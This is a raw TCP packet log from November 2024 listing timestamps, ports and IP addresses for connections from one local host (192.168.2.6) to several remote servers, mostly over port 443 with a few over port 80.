Nov 25, 2024 05:46:31.436144114 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.436595917 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.436608076 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.452841997 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:31.452928066 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:31.455701113 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:31.455725908 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:31.456120014 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:31.504760027 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:31.584747076 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:31.627332926 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:31.635297060 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.635365963 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.635581970 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.637120962 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.637134075 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.637165070 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.637172937 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.642328978 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.642388105 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.642458916 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.642680883 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.642714024 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.688397884 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.688570976 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.688632011 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.689393997 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.689402103 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.689418077 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.689423084 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.707695007 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.707726002 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.707807064 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.708168983 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.708182096 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.749696016 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.749773979 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.749838114 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.750037909 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.750061035 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.750071049 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.750077009 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.752264977 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.752285957 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.752451897 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.752737999 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.752751112 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.765646935 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.765706062 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.765825033 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.765892982 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.765907049 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.765917063 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.765921116 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.768872976 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.768910885 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.768984079 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.769301891 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:31.769315004 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:31.877816916 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:31.877849102 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:31.878146887 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:31.879342079 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:31.879359007 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:32.122102976 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:32.123194933 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:32.123210907 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:32.123553038 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:32.124459028 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:32.124524117 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:32.203684092 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.203704119 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.203711987 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.203722954 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.203751087 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.203774929 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.203807116 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.203855991 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.203881025 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.224505901 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.224582911 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.224592924 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.224638939 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.224792004 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.224831104 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.224859953 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:32.224872112 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:32.331341028 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:32.331455946 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:32.378398895 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:32.378632069 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:32.497827053 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:32.498033047 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:32.498131037 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:32.503612041 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:32.623106956 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:33.166388988 CET	49795	443	192.168.2.6	172.217.17.78
Nov 25, 2024 05:46:33.166425943 CET	443	49795	172.217.17.78	192.168.2.6
Nov 25, 2024 05:46:33.166482925 CET	49795	443	192.168.2.6	172.217.17.78
Nov 25, 2024 05:46:33.166704893 CET	49795	443	192.168.2.6	172.217.17.78
Nov 25, 2024 05:46:33.166728020 CET	443	49795	172.217.17.78	192.168.2.6
Nov 25, 2024 05:46:33.214813948 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.215574026 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.215595961 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.216171026 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.216176033 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.260406017 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.260476112 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.262015104 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.262022018 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.262249947 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.301071882 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.347379923 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.422265053 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.422873974 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.422909021 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.423351049 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.423366070 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.467516899 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.468094110 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.468103886 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.468622923 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.468626976 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.499012947 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.499618053 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.499638081 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.500363111 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.500369072 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.548213005 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.549233913 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.549248934 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.549704075 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.549710989 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.658457994 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.658524990 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.658726931 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.658997059 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.658997059 CET	49785	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.659018993 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.659028053 CET	443	49785	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.662061930 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.662089109 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.662355900 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.662524939 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.662538052 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.775670052 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.775731087 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.775876045 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.775876045 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.775959015 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.776000977 CET	49790	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.776017904 CET	443	49790	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.809657097 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.809688091 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.809757948 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.810076952 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:33.810091972 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:33.869940042 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.870009899 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.870141029 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.870487928 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.870537043 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.870573997 CET	49786	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.870606899 CET	443	49786	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.875005960 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.875039101 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.875124931 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.875267982 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.875284910 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.902306080 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.902364969 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.902415991 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.902849913 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.902867079 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.902880907 CET	49788	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.902889967 CET	443	49788	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.907907009 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.907955885 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.908257008 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.908488035 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.908508062 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.941065073 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.941243887 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.941325903 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.941380978 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.941397905 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.941411972 CET	49787	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.941417933 CET	443	49787	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.945353031 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.945374966 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.945444107 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.945661068 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.945674896 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.993457079 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.993535042 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.993633032 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.993762970 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.993762970 CET	49789	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.993786097 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.993794918 CET	443	49789	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.996613026 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.996678114 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:33.996881008 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.997023106 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:33.997057915 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:34.394572020 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:34.394637108 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:34.592832088 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:34.598149061 CET	49795	443	192.168.2.6	172.217.17.78
Nov 25, 2024 05:46:34.598176003 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:34.712301016 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:35.257831097 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.257920027 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:35.259381056 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:35.259392023 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.259634972 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.260662079 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:35.307334900 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.441328049 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.441833973 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.441848040 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.442296982 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.442303896 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.550442934 CET	80	49793	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:35.550513029 CET	49793	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:35.673825979 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.676868916 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.676892996 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.677252054 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.677258015 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.726000071 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.726412058 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.726421118 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.726871014 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.726875067 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.741835117 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.742468119 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.742480993 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.742937088 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.742940903 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.776029110 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.776388884 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.776422977 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.776808023 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.776814938 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.784097910 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.784161091 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.784400940 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:35.785017967 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:35.785024881 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.785034895 CET	49797	443	192.168.2.6	23.218.208.109
Nov 25, 2024 05:46:35.785039902 CET	443	49797	23.218.208.109	192.168.2.6
Nov 25, 2024 05:46:35.884567022 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.884646893 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.884696007 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.884912014 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.884922028 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.884975910 CET	49796	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.884980917 CET	443	49796	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.891541004 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.891577005 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:35.891649008 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.891813040 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:35.891834021 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.108225107 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.108275890 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.108350992 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.125344038 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.125344038 CET	49799	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.125369072 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.125379086 CET	443	49799	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.150780916 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.150809050 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.150881052 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.151745081 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.151758909 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.179893970 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.179980993 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.180032015 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.186623096 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.186794043 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.187067032 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.193286896 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.193299055 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.193326950 CET	49798	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.193331957 CET	443	49798	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.194565058 CET	49800	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.194574118 CET	443	49800	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.198467970 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.198522091 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.198579073 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.199158907 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.199170113 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.199425936 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.201508045 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.201524973 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.201786041 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.201797009 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.220184088 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.220251083 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.220310926 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.220698118 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.220716000 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.220736027 CET	49801	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.220742941 CET	443	49801	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.223846912 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.223877907 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:36.223961115 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.224077940 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:36.224093914 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:37.605751991 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:37.648392916 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:37.690709114 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:37.690738916 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:37.691250086 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:37.691262007 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:37.930263042 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:37.977372885 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:37.981921911 CET	443	49805	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.001326084 CET	443	49807	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.005839109 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.034563065 CET	49805	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.045294046 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.045377970 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.045519114 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.046463013 CET	49807	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.047626019 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.250348091 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.250368118 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.251188040 CET	49806	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.251193047 CET	443	49806	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.251543045 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.251554012 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.252592087 CET	49804	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.252597094 CET	443	49804	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.252919912 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.252919912 CET	49803	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:38.252978086 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.253009081 CET	443	49803	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:38.257224083 CET	49805	443	192.168.2.6	13.107.246.63
